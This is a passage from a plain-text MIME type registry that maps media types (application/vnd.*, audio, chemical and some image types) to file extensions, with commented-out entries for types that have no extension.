# application/vnd.globalplatform.card-content-mgt-response
application/vnd.gmx gmx
application/vnd.google-earth.kml+xml kml
application/vnd.google-earth.kmz kmz
application/vnd.grafeq gqf gqs
# application/vnd.gridmp
application/vnd.groove-account gac
application/vnd.groove-help ghf
application/vnd.groove-identity-message gim
application/vnd.groove-injector grv
application/vnd.groove-tool-message gtm
application/vnd.groove-tool-template tpl
application/vnd.groove-vcard vcg
# application/vnd.hal+json
application/vnd.hal+xml hal
application/vnd.handheld-entertainment+xml zmm
application/vnd.hbci hbci
# application/vnd.hcl-bireports
application/vnd.hhe.lesson-player les
application/vnd.hp-hpgl hpgl
application/vnd.hp-hpid hpid
application/vnd.hp-hps hps
application/vnd.hp-jlyt jlt
application/vnd.hp-pcl pcl
application/vnd.hp-pclxl pclxl
# application/vnd.httphone
application/vnd.hydrostatix.sof-data sfd-hdstx
# application/vnd.hzn-3d-crossword
# application/vnd.ibm.afplinedata
# application/vnd.ibm.electronic-media
application/vnd.ibm.minipay mpy
application/vnd.ibm.modcap afp listafp list3820
application/vnd.ibm.rights-management irm
application/vnd.ibm.secure-container sc
application/vnd.iccprofile icc icm
application/vnd.igloader igl
application/vnd.immervision-ivp ivp
application/vnd.immervision-ivu ivu
# application/vnd.informedcontrol.rms+xml
# application/vnd.informix-visionary
# application/vnd.infotech.project
# application/vnd.infotech.project+xml
# application/vnd.innopath.wamp.notification
application/vnd.insors.igm igm
application/vnd.intercon.formnet xpw xpx
application/vnd.intergeo i2g
# application/vnd.intertrust.digibox
# application/vnd.intertrust.nncp
application/vnd.intu.qbo qbo
application/vnd.intu.qfx qfx
# application/vnd.iptc.g2.conceptitem+xml
# application/vnd.iptc.g2.knowledgeitem+xml
# application/vnd.iptc.g2.newsitem+xml
# application/vnd.iptc.g2.newsmessage+xml
# application/vnd.iptc.g2.packageitem+xml
# application/vnd.iptc.g2.planningitem+xml
application/vnd.ipunplugged.rcprofile rcprofile
application/vnd.irepository.package+xml irp
application/vnd.is-xpr xpr
application/vnd.isac.fcs fcs
application/vnd.jam jam
# application/vnd.japannet-directory-service
# application/vnd.japannet-jpnstore-wakeup
# application/vnd.japannet-payment-wakeup
# application/vnd.japannet-registration
# application/vnd.japannet-registration-wakeup
# application/vnd.japannet-setstore-wakeup
# application/vnd.japannet-verification
# application/vnd.japannet-verification-wakeup
application/vnd.jcp.javame.midlet-rms rms
application/vnd.jisp jisp
application/vnd.joost.joda-archive joda
application/vnd.kahootz ktz ktr
application/vnd.kde.karbon karbon
application/vnd.kde.kchart chrt
application/vnd.kde.kformula kfo
application/vnd.kde.kivio flw
application/vnd.kde.kontour kon
application/vnd.kde.kpresenter kpr kpt
application/vnd.kde.kspread ksp
application/vnd.kde.kword kwd kwt
application/vnd.kenameaapp htke
application/vnd.kidspiration kia
application/vnd.kinar kne knp
application/vnd.koan skp skd skt skm
application/vnd.kodak-descriptor sse
application/vnd.las.las+xml lasxml
# application/vnd.liberty-request+xml
application/vnd.llamagraphics.life-balance.desktop lbd
application/vnd.llamagraphics.life-balance.exchange+xml lbe
application/vnd.lotus-1-2-3 123
application/vnd.lotus-approach apr
application/vnd.lotus-freelance pre
application/vnd.lotus-notes nsf
application/vnd.lotus-organizer org
application/vnd.lotus-screencam scm
application/vnd.lotus-wordpro lwp
application/vnd.macports.portpkg portpkg
# application/vnd.marlin.drm.actiontoken+xml
# application/vnd.marlin.drm.conftoken+xml
# application/vnd.marlin.drm.license+xml
# application/vnd.marlin.drm.mdcf
application/vnd.mcd mcd
application/vnd.medcalcdata mc1
application/vnd.mediastation.cdkey cdkey
# application/vnd.meridian-slingshot
application/vnd.mfer mwf
application/vnd.mfmp mfm
application/vnd.micrografx.flo flo
application/vnd.micrografx.igx igx
application/vnd.mif mif
# application/vnd.minisoft-hp3000-save
# application/vnd.mitsubishi.misty-guard.trustweb
application/vnd.mobius.daf daf
application/vnd.mobius.dis dis
application/vnd.mobius.mbk mbk
application/vnd.mobius.mqy mqy
application/vnd.mobius.msl msl
application/vnd.mobius.plc plc
application/vnd.mobius.txf txf
application/vnd.mophun.application mpn
application/vnd.mophun.certificate mpc
# application/vnd.motorola.flexsuite
# application/vnd.motorola.flexsuite.adsi
# application/vnd.motorola.flexsuite.fis
# application/vnd.motorola.flexsuite.gotap
# application/vnd.motorola.flexsuite.kmr
# application/vnd.motorola.flexsuite.ttc
# application/vnd.motorola.flexsuite.wem
# application/vnd.motorola.iprm
application/vnd.mozilla.xul+xml xul
application/vnd.ms-artgalry cil
# application/vnd.ms-asf
application/vnd.ms-cab-compressed cab
# application/vnd.ms-color.iccprofile
application/vnd.ms-excel xls xlm xla xlc xlt xlw
application/vnd.ms-excel.addin.macroenabled.12 xlam
application/vnd.ms-excel.sheet.binary.macroenabled.12 xlsb
application/vnd.ms-excel.sheet.macroenabled.12 xlsm
application/vnd.ms-excel.template.macroenabled.12 xltm
application/vnd.ms-fontobject eot
application/vnd.ms-htmlhelp chm
application/vnd.ms-ims ims
application/vnd.ms-lrm lrm
# application/vnd.ms-office.activex+xml
application/vnd.ms-officetheme thmx
# application/vnd.ms-opentype
# application/vnd.ms-package.obfuscated-opentype
application/vnd.ms-pki.seccat cat
application/vnd.ms-pki.stl stl
# application/vnd.ms-playready.initiator+xml
application/vnd.ms-powerpoint ppt pps pot
application/vnd.ms-powerpoint.addin.macroenabled.12 ppam
application/vnd.ms-powerpoint.presentation.macroenabled.12 pptm
application/vnd.ms-powerpoint.slide.macroenabled.12 sldm
application/vnd.ms-powerpoint.slideshow.macroenabled.12 ppsm
application/vnd.ms-powerpoint.template.macroenabled.12 potm
# application/vnd.ms-printing.printticket+xml
application/vnd.ms-project mpp mpt
# application/vnd.ms-tnef
# application/vnd.ms-wmdrm.lic-chlg-req
# application/vnd.ms-wmdrm.lic-resp
# application/vnd.ms-wmdrm.meter-chlg-req
# application/vnd.ms-wmdrm.meter-resp
application/vnd.ms-word.document.macroenabled.12 docm
application/vnd.ms-word.template.macroenabled.12 dotm
application/vnd.ms-works wps wks wcm wdb
application/vnd.ms-wpl wpl
application/vnd.ms-xpsdocument xps
application/vnd.mseq mseq
# application/vnd.msign
# application/vnd.multiad.creator
# application/vnd.multiad.creator.cif
# application/vnd.music-niff
application/vnd.musician mus
application/vnd.muvee.style msty
application/vnd.mynfc taglet
# application/vnd.ncd.control
# application/vnd.ncd.reference
# application/vnd.nervana
# application/vnd.netfpx
application/vnd.neurolanguage.nlu nlu
application/vnd.nitf ntf nitf
application/vnd.noblenet-directory nnd
application/vnd.noblenet-sealer nns
application/vnd.noblenet-web nnw
# application/vnd.nokia.catalogs
# application/vnd.nokia.conml+wbxml
# application/vnd.nokia.conml+xml
# application/vnd.nokia.isds-radio-presets
# application/vnd.nokia.iptv.config+xml
# application/vnd.nokia.landmark+wbxml
# application/vnd.nokia.landmark+xml
# application/vnd.nokia.landmarkcollection+xml
# application/vnd.nokia.n-gage.ac+xml
application/vnd.nokia.n-gage.data ngdat
application/vnd.nokia.n-gage.symbian.install n-gage
# application/vnd.nokia.ncd
# application/vnd.nokia.pcd+wbxml
# application/vnd.nokia.pcd+xml
application/vnd.nokia.radio-preset rpst
application/vnd.nokia.radio-presets rpss
application/vnd.novadigm.edm edm
application/vnd.novadigm.edx edx
application/vnd.novadigm.ext ext
# application/vnd.ntt-local.file-transfer
# application/vnd.ntt-local.sip-ta_remote
# application/vnd.ntt-local.sip-ta_tcp_stream
application/vnd.oasis.opendocument.chart odc
application/vnd.oasis.opendocument.chart-template otc
application/vnd.oasis.opendocument.database odb
application/vnd.oasis.opendocument.formula odf
application/vnd.oasis.opendocument.formula-template odft
application/vnd.oasis.opendocument.graphics odg
application/vnd.oasis.opendocument.graphics-template otg
application/vnd.oasis.opendocument.image odi
application/vnd.oasis.opendocument.image-template oti
application/vnd.oasis.opendocument.presentation odp
application/vnd.oasis.opendocument.presentation-template otp
application/vnd.oasis.opendocument.spreadsheet ods
application/vnd.oasis.opendocument.spreadsheet-template ots
application/vnd.oasis.opendocument.text odt
application/vnd.oasis.opendocument.text-master odm
application/vnd.oasis.opendocument.text-template ott
application/vnd.oasis.opendocument.text-web oth
# application/vnd.obn
# application/vnd.oftn.l10n+json
# application/vnd.oipf.contentaccessdownload+xml
# application/vnd.oipf.contentaccessstreaming+xml
# application/vnd.oipf.cspg-hexbinary
# application/vnd.oipf.dae.svg+xml
# application/vnd.oipf.dae.xhtml+xml
# application/vnd.oipf.mippvcontrolmessage+xml
# application/vnd.oipf.pae.gem
# application/vnd.oipf.spdiscovery+xml
# application/vnd.oipf.spdlist+xml
# application/vnd.oipf.ueprofile+xml
# application/vnd.oipf.userprofile+xml
application/vnd.olpc-sugar xo
# application/vnd.oma-scws-config
# application/vnd.oma-scws-http-request
# application/vnd.oma-scws-http-response
# application/vnd.oma.bcast.associated-procedure-parameter+xml
# application/vnd.oma.bcast.drm-trigger+xml
# application/vnd.oma.bcast.imd+xml
# application/vnd.oma.bcast.ltkm
# application/vnd.oma.bcast.notification+xml
# application/vnd.oma.bcast.provisioningtrigger
# application/vnd.oma.bcast.sgboot
# application/vnd.oma.bcast.sgdd+xml
# application/vnd.oma.bcast.sgdu
# application/vnd.oma.bcast.simple-symbol-container
# application/vnd.oma.bcast.smartcard-trigger+xml
# application/vnd.oma.bcast.sprov+xml
# application/vnd.oma.bcast.stkm
# application/vnd.oma.cab-address-book+xml
# application/vnd.oma.cab-feature-handler+xml
# application/vnd.oma.cab-pcc+xml
# application/vnd.oma.cab-user-prefs+xml
# application/vnd.oma.dcd
# application/vnd.oma.dcdc
application/vnd.oma.dd2+xml dd2
# application/vnd.oma.drm.risd+xml
# application/vnd.oma.group-usage-list+xml
# application/vnd.oma.pal+xml
# application/vnd.oma.poc.detailed-progress-report+xml
# application/vnd.oma.poc.final-report+xml
# application/vnd.oma.poc.groups+xml
# application/vnd.oma.poc.invocation-descriptor+xml
# application/vnd.oma.poc.optimized-progress-report+xml
# application/vnd.oma.push
# application/vnd.oma.scidm.messages+xml
# application/vnd.oma.xcap-directory+xml
# application/vnd.omads-email+xml
# application/vnd.omads-file+xml
# application/vnd.omads-folder+xml
# application/vnd.omaloc-supl-init
application/vnd.openofficeorg.extension oxt
# application/vnd.openxmlformats-officedocument.custom-properties+xml
# application/vnd.openxmlformats-officedocument.customxmlproperties+xml
# application/vnd.openxmlformats-officedocument.drawing+xml
# application/vnd.openxmlformats-officedocument.drawingml.chart+xml
# application/vnd.openxmlformats-officedocument.drawingml.chartshapes+xml
# application/vnd.openxmlformats-officedocument.drawingml.diagramcolors+xml
# application/vnd.openxmlformats-officedocument.drawingml.diagramdata+xml
# application/vnd.openxmlformats-officedocument.drawingml.diagramlayout+xml
# application/vnd.openxmlformats-officedocument.drawingml.diagramstyle+xml
# application/vnd.openxmlformats-officedocument.extended-properties+xml
# application/vnd.openxmlformats-officedocument.presentationml.commentauthors+xml
# application/vnd.openxmlformats-officedocument.presentationml.comments+xml
# application/vnd.openxmlformats-officedocument.presentationml.handoutmaster+xml
# application/vnd.openxmlformats-officedocument.presentationml.notesmaster+xml
# application/vnd.openxmlformats-officedocument.presentationml.notesslide+xml
application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
# application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml
# application/vnd.openxmlformats-officedocument.presentationml.presprops+xml
application/vnd.openxmlformats-officedocument.presentationml.slide sldx
# application/vnd.openxmlformats-officedocument.presentationml.slide+xml
# application/vnd.openxmlformats-officedocument.presentationml.slidelayout+xml
# application/vnd.openxmlformats-officedocument.presentationml.slidemaster+xml
application/vnd.openxmlformats-officedocument.presentationml.slideshow ppsx
# application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml
# application/vnd.openxmlformats-officedocument.presentationml.slideupdateinfo+xml
# application/vnd.openxmlformats-officedocument.presentationml.tablestyles+xml
# application/vnd.openxmlformats-officedocument.presentationml.tags+xml
application/vnd.openxmlformats-officedocument.presentationml.template potx
# application/vnd.openxmlformats-officedocument.presentationml.template.main+xml
# application/vnd.openxmlformats-officedocument.presentationml.viewprops+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.calcchain+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.chartsheet+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.comments+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.connections+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.dialogsheet+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.externallink+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcachedefinition+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcacherecords+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.pivottable+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.querytable+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.revisionheaders+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.revisionlog+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.sharedstrings+xml
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx
# application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.sheetmetadata+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.table+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.tablesinglecells+xml
application/vnd.openxmlformats-officedocument.spreadsheetml.template xltx
# application/vnd.openxmlformats-officedocument.spreadsheetml.template.main+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.usernames+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.volatiledependencies+xml
# application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml
# application/vnd.openxmlformats-officedocument.theme+xml
# application/vnd.openxmlformats-officedocument.themeoverride+xml
# application/vnd.openxmlformats-officedocument.vmldrawing
# application/vnd.openxmlformats-officedocument.wordprocessingml.comments+xml
application/vnd.openxmlformats-officedocument.wordprocessingml.document docx
# application/vnd.openxmlformats-officedocument.wordprocessingml.document.glossary+xml
# application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml
# application/vnd.openxmlformats-officedocument.wordprocessingml.endnotes+xml
# application/vnd.openxmlformats-officedocument.wordprocessingml.fonttable+xml
# application/vnd.openxmlformats-officedocument.wordprocessingml.footer+xml
# application/vnd.openxmlformats-officedocument.wordprocessingml.footnotes+xml
# application/vnd.openxmlformats-officedocument.wordprocessingml.numbering+xml
# application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml
# application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml
application/vnd.openxmlformats-officedocument.wordprocessingml.template dotx
# application/vnd.openxmlformats-officedocument.wordprocessingml.template.main+xml
# application/vnd.openxmlformats-officedocument.wordprocessingml.websettings+xml
# application/vnd.openxmlformats-package.core-properties+xml
# application/vnd.openxmlformats-package.digital-signature-xmlsignature+xml
# application/vnd.openxmlformats-package.relationships+xml
# application/vnd.quobject-quoxdocument
# application/vnd.osa.netdeploy
application/vnd.osgeo.mapguide.package mgp
# application/vnd.osgi.bundle
application/vnd.osgi.dp dp
application/vnd.osgi.subsystem esa
# application/vnd.otps.ct-kip+xml
application/vnd.palm pdb pqa oprc
# application/vnd.paos.xml
application/vnd.pawaafile paw
application/vnd.pg.format str
application/vnd.pg.osasli ei6
# application/vnd.piaccess.application-licence
application/vnd.picsel efif
application/vnd.pmi.widget wg
# application/vnd.poc.group-advertisement+xml
application/vnd.pocketlearn plf
application/vnd.powerbuilder6 pbd
# application/vnd.powerbuilder6-s
# application/vnd.powerbuilder7
# application/vnd.powerbuilder7-s
# application/vnd.powerbuilder75
# application/vnd.powerbuilder75-s
# application/vnd.preminet
application/vnd.previewsystems.box box
application/vnd.proteus.magazine mgz
application/vnd.publishare-delta-tree qps
application/vnd.pvi.ptid1 ptid
# application/vnd.pwg-multiplexed
# application/vnd.pwg-xhtml-print+xml
# application/vnd.qualcomm.brew-app-res
application/vnd.quark.quarkxpress qxd qxt qwd qwt qxl qxb
# application/vnd.radisys.moml+xml
# application/vnd.radisys.msml+xml
# application/vnd.radisys.msml-audit+xml
# application/vnd.radisys.msml-audit-conf+xml
# application/vnd.radisys.msml-audit-conn+xml
# application/vnd.radisys.msml-audit-dialog+xml
# application/vnd.radisys.msml-audit-stream+xml
# application/vnd.radisys.msml-conf+xml
# application/vnd.radisys.msml-dialog+xml
# application/vnd.radisys.msml-dialog-base+xml
# application/vnd.radisys.msml-dialog-fax-detect+xml
# application/vnd.radisys.msml-dialog-fax-sendrecv+xml
# application/vnd.radisys.msml-dialog-group+xml
# application/vnd.radisys.msml-dialog-speech+xml
# application/vnd.radisys.msml-dialog-transform+xml
# application/vnd.rainstor.data
# application/vnd.rapid
application/vnd.realvnc.bed bed
application/vnd.recordare.musicxml mxl
application/vnd.recordare.musicxml+xml musicxml
# application/vnd.renlearn.rlprint
application/vnd.rig.cryptonote cryptonote
application/vnd.rim.cod cod
application/vnd.rn-realmedia rm
application/vnd.rn-realmedia-vbr rmvb
application/vnd.route66.link66+xml link66
# application/vnd.rs-274x
# application/vnd.ruckus.download
# application/vnd.s3sms
application/vnd.sailingtracker.track st
# application/vnd.sbm.cid
# application/vnd.sbm.mid2
# application/vnd.scribus
# application/vnd.sealed.3df
# application/vnd.sealed.csf
# application/vnd.sealed.doc
# application/vnd.sealed.eml
# application/vnd.sealed.mht
# application/vnd.sealed.net
# application/vnd.sealed.ppt
# application/vnd.sealed.tiff
# application/vnd.sealed.xls
# application/vnd.sealedmedia.softseal.html
# application/vnd.sealedmedia.softseal.pdf
application/vnd.seemail see
application/vnd.sema sema
application/vnd.semd semd
application/vnd.semf semf
application/vnd.shana.informed.formdata ifm
application/vnd.shana.informed.formtemplate itp
application/vnd.shana.informed.interchange iif
application/vnd.shana.informed.package ipk
application/vnd.simtech-mindmapper twd twds
application/vnd.smaf mmf
# application/vnd.smart.notebook
application/vnd.smart.teacher teacher
# application/vnd.software602.filler.form+xml
# application/vnd.software602.filler.form-xml-zip
application/vnd.solent.sdkm+xml sdkm sdkd
application/vnd.spotfire.dxp dxp
application/vnd.spotfire.sfs sfs
# application/vnd.sss-cod
# application/vnd.sss-dtf
# application/vnd.sss-ntf
application/vnd.stardivision.calc sdc
application/vnd.stardivision.draw sda
application/vnd.stardivision.impress sdd
application/vnd.stardivision.math smf
application/vnd.stardivision.writer sdw vor
application/vnd.stardivision.writer-global sgl
application/vnd.stepmania.package smzip
application/vnd.stepmania.stepchart sm
# application/vnd.street-stream
application/vnd.sun.xml.calc sxc
application/vnd.sun.xml.calc.template stc
application/vnd.sun.xml.draw sxd
application/vnd.sun.xml.draw.template std
application/vnd.sun.xml.impress sxi
application/vnd.sun.xml.impress.template sti
application/vnd.sun.xml.math sxm
application/vnd.sun.xml.writer sxw
application/vnd.sun.xml.writer.global sxg
application/vnd.sun.xml.writer.template stw
# application/vnd.sun.wadl+xml
application/vnd.sus-calendar sus susp
application/vnd.svd svd
# application/vnd.swiftview-ics
application/vnd.symbian.install sis sisx
application/vnd.syncml+xml xsm
application/vnd.syncml.dm+wbxml bdm
application/vnd.syncml.dm+xml xdm
# application/vnd.syncml.dm.notification
# application/vnd.syncml.ds.notification
application/vnd.tao.intent-module-archive tao
application/vnd.tcpdump.pcap pcap cap dmp
application/vnd.tmobile-livetv tmo
application/vnd.trid.tpt tpt
application/vnd.triscape.mxs mxs
application/vnd.trueapp tra
# application/vnd.truedoc
# application/vnd.ubisoft.webplayer
application/vnd.ufdl ufd ufdl
application/vnd.uiq.theme utz
application/vnd.umajin umj
application/vnd.unity unityweb
application/vnd.uoml+xml uoml
# application/vnd.uplanet.alert
# application/vnd.uplanet.alert-wbxml
# application/vnd.uplanet.bearer-choice
# application/vnd.uplanet.bearer-choice-wbxml
# application/vnd.uplanet.cacheop
# application/vnd.uplanet.cacheop-wbxml
# application/vnd.uplanet.channel
# application/vnd.uplanet.channel-wbxml
# application/vnd.uplanet.list
# application/vnd.uplanet.list-wbxml
# application/vnd.uplanet.listcmd
# application/vnd.uplanet.listcmd-wbxml
# application/vnd.uplanet.signal
application/vnd.vcx vcx
# application/vnd.vd-study
# application/vnd.vectorworks
# application/vnd.verimatrix.vcas
# application/vnd.vidsoft.vidconference
application/vnd.visio vsd vst vss vsw
application/vnd.visionary vis
# application/vnd.vividence.scriptfile
application/vnd.vsf vsf
# application/vnd.wap.sic
# application/vnd.wap.slc
application/vnd.wap.wbxml wbxml
application/vnd.wap.wmlc wmlc
application/vnd.wap.wmlscriptc wmlsc
application/vnd.webturbo wtb
# application/vnd.wfa.wsc
# application/vnd.wmc
# application/vnd.wmf.bootstrap
# application/vnd.wolfram.mathematica
# application/vnd.wolfram.mathematica.package
application/vnd.wolfram.player nbp
application/vnd.wordperfect wpd
application/vnd.wqd wqd
# application/vnd.wrq-hp3000-labelled
application/vnd.wt.stf stf
# application/vnd.wv.csp+wbxml
# application/vnd.wv.csp+xml
# application/vnd.wv.ssp+xml
application/vnd.xara xar
application/vnd.xfdl xfdl
# application/vnd.xfdl.webform
# application/vnd.xmi+xml
# application/vnd.xmpie.cpkg
# application/vnd.xmpie.dpkg
# application/vnd.xmpie.plan
# application/vnd.xmpie.ppkg
# application/vnd.xmpie.xlim
application/vnd.yamaha.hv-dic hvd
application/vnd.yamaha.hv-script hvs
application/vnd.yamaha.hv-voice hvp
application/vnd.yamaha.openscoreformat osf
application/vnd.yamaha.openscoreformat.osfpvg+xml osfpvg
# application/vnd.yamaha.remote-setup
application/vnd.yamaha.smaf-audio saf
application/vnd.yamaha.smaf-phrase spf
# application/vnd.yamaha.through-ngn
# application/vnd.yamaha.tunnel-udpencap
application/vnd.yellowriver-custom-menu cmp
application/vnd.zul zir zirz
application/vnd.zzazz.deck+xml zaz
application/voicexml+xml vxml
# application/vq-rtcpxr
# application/watcherinfo+xml
# application/whoispp-query
# application/whoispp-response
application/widget wgt
application/winhlp hlp
# application/wita
# application/wordperfect5.1
application/wsdl+xml wsdl
application/wspolicy+xml wspolicy
application/x-7z-compressed 7z
application/x-abiword abw
application/x-ace-compressed ace
# application/x-amf
application/x-apple-diskimage dmg
application/x-authorware-bin aab x32 u32 vox
application/x-authorware-map aam
application/x-authorware-seg aas
application/x-bcpio bcpio
application/x-bittorrent torrent
application/x-blorb blb blorb
application/x-bzip bz
application/x-bzip2 bz2 boz
application/x-cbr cbr cba cbt cbz cb7
application/x-cdlink vcd
application/x-cfs-compressed cfs
application/x-chat chat
application/x-chess-pgn pgn
application/x-conference nsc
# application/x-compress
application/x-cpio cpio
application/x-csh csh
application/x-debian-package deb udeb
application/x-dgc-compressed dgc
application/x-director dir dcr dxr cst cct cxt w3d fgd swa
application/x-doom wad
application/x-dtbncx+xml ncx
application/x-dtbook+xml dtb
application/x-dtbresource+xml res
application/x-dvi dvi
application/x-envoy evy
application/x-eva eva
application/x-font-bdf bdf
# application/x-font-dos
# application/x-font-framemaker
application/x-font-ghostscript gsf
# application/x-font-libgrx
application/x-font-linux-psf psf
application/x-font-otf otf
application/x-font-pcf pcf
application/x-font-snf snf
# application/x-font-speedo
# application/x-font-sunos-news
application/x-font-ttf ttf ttc
application/x-font-type1 pfa pfb pfm afm
application/font-woff woff
# application/x-font-vfont
application/x-freearc arc
application/x-futuresplash spl
application/x-gca-compressed gca
application/x-glulx ulx
application/x-gnumeric gnumeric
application/x-gramps-xml gramps
application/x-gtar gtar
# application/x-gzip
application/x-hdf hdf
application/x-install-instructions install
application/x-iso9660-image iso
application/x-java-jnlp-file jnlp
application/x-latex latex
application/x-lzh-compressed lzh lha
application/x-mie mie
application/x-mobipocket-ebook prc mobi
application/x-ms-application application
application/x-ms-shortcut lnk
application/x-ms-wmd wmd
application/x-ms-wmz wmz
application/x-ms-xbap xbap
application/x-msaccess mdb
application/x-msbinder obd
application/x-mscardfile crd
application/x-msclip clp
application/x-msdownload exe dll com bat msi
application/x-msmediaview mvb m13 m14
application/x-msmetafile wmf wmz emf emz
application/x-msmoney mny
application/x-mspublisher pub
application/x-msschedule scd
application/x-msterminal trm
application/x-mswrite wri
application/x-netcdf nc cdf
application/x-nzb nzb
application/x-pkcs12 p12 pfx
application/x-pkcs7-certificates p7b spc
application/x-pkcs7-certreqresp p7r
application/x-rar-compressed rar
application/x-research-info-systems ris
application/x-sh sh
application/x-shar shar
application/x-shockwave-flash swf
application/x-silverlight-app xap
application/x-sql sql
application/x-stuffit sit
application/x-stuffitx sitx
application/x-subrip srt
application/x-sv4cpio sv4cpio
application/x-sv4crc sv4crc
application/x-t3vm-image t3
application/x-tads gam
application/x-tar tar
application/x-tcl tcl
application/x-tex tex
application/x-tex-tfm tfm
application/x-texinfo texinfo texi
application/x-tgif obj
application/x-ustar ustar
application/x-wais-source src
application/x-x509-ca-cert der crt
application/x-xfig fig
application/x-xliff+xml xlf
application/x-xpinstall xpi
application/x-xz xz
application/x-zmachine z1 z2 z3 z4 z5 z6 z7 z8
# application/x400-bp
application/xaml+xml xaml
# application/xcap-att+xml
# application/xcap-caps+xml
application/xcap-diff+xml xdf
# application/xcap-el+xml
# application/xcap-error+xml
# application/xcap-ns+xml
# application/xcon-conference-info-diff+xml
# application/xcon-conference-info+xml
application/xenc+xml xenc
application/xhtml+xml xhtml xht
# application/xhtml-voice+xml
application/xml xml xsl
application/xml-dtd dtd
# application/xml-external-parsed-entity
# application/xmpp+xml
application/xop+xml xop
application/xproc+xml xpl
application/xslt+xml xslt
application/xspf+xml xspf
application/xv+xml mxml xhvml xvml xvm
application/yang yang
application/yin+xml yin
application/zip zip
# audio/1d-interleaved-parityfec
# audio/32kadpcm
# audio/3gpp
# audio/3gpp2
# audio/ac3
audio/adpcm adp
# audio/amr
# audio/amr-wb
# audio/amr-wb+
# audio/asc
# audio/atrac-advanced-lossless
# audio/atrac-x
# audio/atrac3
audio/basic au snd
# audio/bv16
# audio/bv32
# audio/clearmode
# audio/cn
# audio/dat12
# audio/dls
# audio/dsr-es201108
# audio/dsr-es202050
# audio/dsr-es202211
# audio/dsr-es202212
# audio/dv
# audio/dvi4
# audio/eac3
# audio/evrc
# audio/evrc-qcp
# audio/evrc0
# audio/evrc1
# audio/evrcb
# audio/evrcb0
# audio/evrcb1
# audio/evrcwb
# audio/evrcwb0
# audio/evrcwb1
# audio/example
# audio/fwdred
# audio/g719
# audio/g722
# audio/g7221
# audio/g723
# audio/g726-16
# audio/g726-24
# audio/g726-32
# audio/g726-40
# audio/g728
# audio/g729
# audio/g7291
# audio/g729d
# audio/g729e
# audio/gsm
# audio/gsm-efr
# audio/gsm-hr-08
# audio/ilbc
# audio/ip-mr_v2.5
# audio/isac
# audio/l16
# audio/l20
# audio/l24
# audio/l8
# audio/lpc
audio/midi mid midi kar rmi
# audio/mobile-xmf
audio/mp4 mp4a
# audio/mp4a-latm
# audio/mpa
# audio/mpa-robust
audio/mpeg mpga mp2 mp2a mp3 m2a m3a
# audio/mpeg4-generic
# audio/musepack
audio/ogg oga ogg spx
# audio/opus
# audio/parityfec
# audio/pcma
# audio/pcma-wb
# audio/pcmu-wb
# audio/pcmu
# audio/prs.sid
# audio/qcelp
# audio/red
# audio/rtp-enc-aescm128
# audio/rtp-midi
# audio/rtx
audio/s3m s3m
audio/silk sil
# audio/smv
# audio/smv0
# audio/smv-qcp
# audio/sp-midi
# audio/speex
# audio/t140c
# audio/t38
# audio/telephone-event
# audio/tone
# audio/uemclip
# audio/ulpfec
# audio/vdvi
# audio/vmr-wb
# audio/vnd.3gpp.iufp
# audio/vnd.4sb
# audio/vnd.audiokoz
# audio/vnd.celp
# audio/vnd.cisco.nse
# audio/vnd.cmles.radio-events
# audio/vnd.cns.anp1
# audio/vnd.cns.inf1
audio/vnd.dece.audio uva uvva
audio/vnd.digital-winds eol
# audio/vnd.dlna.adts
# audio/vnd.dolby.heaac.1
# audio/vnd.dolby.heaac.2
# audio/vnd.dolby.mlp
# audio/vnd.dolby.mps
# audio/vnd.dolby.pl2
# audio/vnd.dolby.pl2x
# audio/vnd.dolby.pl2z
# audio/vnd.dolby.pulse.1
audio/vnd.dra dra
audio/vnd.dts dts
audio/vnd.dts.hd dtshd
# audio/vnd.dvb.file
# audio/vnd.everad.plj
# audio/vnd.hns.audio
audio/vnd.lucent.voice lvp
audio/vnd.ms-playready.media.pya pya
# audio/vnd.nokia.mobile-xmf
# audio/vnd.nortel.vbk
audio/vnd.nuera.ecelp4800 ecelp4800
audio/vnd.nuera.ecelp7470 ecelp7470
audio/vnd.nuera.ecelp9600 ecelp9600
# audio/vnd.octel.sbc
# audio/vnd.qcelp
# audio/vnd.rhetorex.32kadpcm
audio/vnd.rip rip
# audio/vnd.sealedmedia.softseal.mpeg
# audio/vnd.vmx.cvsd
# audio/vorbis
# audio/vorbis-config
audio/webm weba
audio/x-aac aac
audio/x-aiff aif aiff aifc
audio/x-caf caf
audio/x-flac flac
audio/x-matroska mka
audio/x-mpegurl m3u
audio/x-ms-wax wax
audio/x-ms-wma wma
audio/x-pn-realaudio ram ra
audio/x-pn-realaudio-plugin rmp
# audio/x-tta
audio/x-wav wav
audio/xm xm
chemical/x-cdx cdx
chemical/x-cif cif
chemical/x-cmdf cmdf
chemical/x-cml cml
chemical/x-csml csml
# chemical/x-pdb
chemical/x-xyz xyz
image/bmp bmp
image/cgm cgm
# image/example
# image/fits
image/g3fax g3
image/gif gif
image/ief ief
# image/jp2
image/jpeg jpeg jpg jpe
# image/jpm
# image/jpx
image/ktx ktx
# image/naplps
image/png png
image/prs.btif btif
# image/prs.pti
image/sgi sgi
image/svg+xml svg svgz
# image/t38
image/tiff tiff tif
# image/tiff-fx
image/vnd.adobe.photoshop psd
